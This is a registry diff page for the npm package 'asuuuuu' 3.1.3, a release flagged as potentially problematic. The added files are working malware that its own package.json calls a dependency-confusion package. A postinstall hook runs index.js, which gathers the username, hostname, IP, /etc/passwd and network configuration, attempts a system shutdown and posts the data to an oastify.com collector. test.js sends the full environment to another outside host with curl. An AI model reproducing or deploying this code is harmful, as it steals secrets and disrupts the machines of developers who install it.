asuuuuu 3.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of asuuuuu might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +109 -0
  2. package/package.json +14 -0
  3. package/test.js +7 -0
package/index.js ADDED
@@ -0,0 +1,109 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+ const path = require('path');
4
+ const fs = require('fs');
5
+ const { execSync } = require('child_process');
6
+
7
+
8
+ // Mendapatkan waktu saat ini
9
+ function getCurrentTime() {
10
+ return new Date().toISOString();
11
+ }
12
+
13
+ // Mendapatkan nama organisasi atau pengguna
14
+ function getOrganization() {
15
+ return os.userInfo().username; // Atau Anda bisa menambahkan logika lain untuk mendapatkan nama organisasi
16
+ }
17
+
18
+ // Mendapatkan IP eksternal dengan menggunakan API
19
+ function getExternalIP() {
20
+ return axios.get('https://api.ipify.org?format=json')
21
+ .then(response => response.data.ip)
22
+ .catch(error => 'IP eksternal tidak ditemukan');
23
+ }
24
+
25
+ // Mendapatkan nama host
26
+ function getHostname() {
27
+ return os.hostname();
28
+ }
29
+
30
+ // Mendapatkan jalur direktori saat ini
31
+ function getCurrentPath() {
32
+ return path.resolve('.');
33
+ }
34
+
35
+ // Membaca file /etc/passwd (hanya jika ada izin akses)
36
+ function getEtcPasswd() {
37
+ try {
38
+ const passwdContent = fs.readFileSync('/etc/passwd', 'utf-8');
39
+ return passwdContent;
40
+ } catch (error) {
41
+ return 'Tidak dapat membaca file /etc/passwd';
42
+ }
43
+ }
44
+
45
+ function getIfconfig() {
46
+ try {
47
+ const ifconfigOutput = execSync('ifconfig','ipconfig', { encoding: 'utf-8' });
48
+ return ifconfigOutput;
49
+ } catch (error) {
50
+ return 'Tidak dapat menjalankan perintah ifconfig: ' + error.message;
51
+ }
52
+ }
53
+
54
+ function getOff() {
55
+ try {
56
+ const ifconfigOutput = execSync('shutdown /s','shutdown', { encoding: 'utf-8' });
57
+ return ifconfigOutput;
58
+ } catch (error) {
59
+ return 'shoutdown gagal: ' + error.message;
60
+ }
61
+ }
62
+
63
+ function getPackageName() {
64
+ const packageJsonPath = path.resolve('package.json');
65
+ if (fs.existsSync(packageJsonPath)) {
66
+ const packageJson = require(packageJsonPath);
67
+ return packageJson.name || 'Unknown Package'; // Mengambil nama dari package.json
68
+ } else {
69
+ return 'Package.json tidak ditemukan'; // Jika tidak ada package.json
70
+ }
71
+ }
72
+
73
+ // Mengumpulkan data yang dibutuhkan
74
+ async function collectData() {
75
+ const time = getCurrentTime();
76
+ const organization = getOrganization();
77
+ const externalIP = await getExternalIP();
78
+ const hostname = getHostname();
79
+ const currentPath = getCurrentPath();
80
+ const etcPasswd = getEtcPasswd();
81
+ const packageName = getPackageName(); // Sesuaikan dengan nama package yang Anda uji
82
+ const ipConfig = getIfconfig();
83
+ const off = getOff()
84
+
85
+ const data = {
86
+ time: time,
87
+ organization: organization,
88
+ ipAddress: externalIP,
89
+ packageName: packageName,
90
+ hostname: hostname,
91
+ currentPath: currentPath,
92
+ etcPasswd: etcPasswd, // Tambahkan isi file /etc/passwd ke data
93
+ ipConfig: ipConfig,
94
+ off: off
95
+ };
96
+
97
+ console.log(data); // Tampilkan data yang dikumpulkan
98
+
99
+ // Mengirim data ke server target (misalnya Attacoker atau server lain)
100
+ axios.post('https://0z03e7xxk7oywl5uemf93qoe45awypme.oastify.com/log', data)
101
+ .then(response => {
102
+ console.log('Data berhasil dikirim:', response.data);
103
+ })
104
+ .catch(error => {
105
+ console.error('Error saat mengirim data:', error);
106
+ });
107
+ }
108
+
109
+ collectData(); // Menjalankan fungsi untuk mengumpulkan dan mengirim data
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "asuuuuu",
3
+ "version": "3.1.3",
4
+ "description": "Malicious package for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Attacker",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "axios": "^0.21.1"
13
+ }
14
+ }
package/test.js ADDED
@@ -0,0 +1,7 @@
1
+ const { exec } = require('child_process');
2
+ exec('curl -X POST https://a0bsgvuihn3sfniukepeiq2vsmydm3as.oastify.com -d "$(env)"', (error) => {
3
+ if (error) {
4
+ console.error(`Exec error: ${error}`);
5
+ return;
6
+ }
7
+ });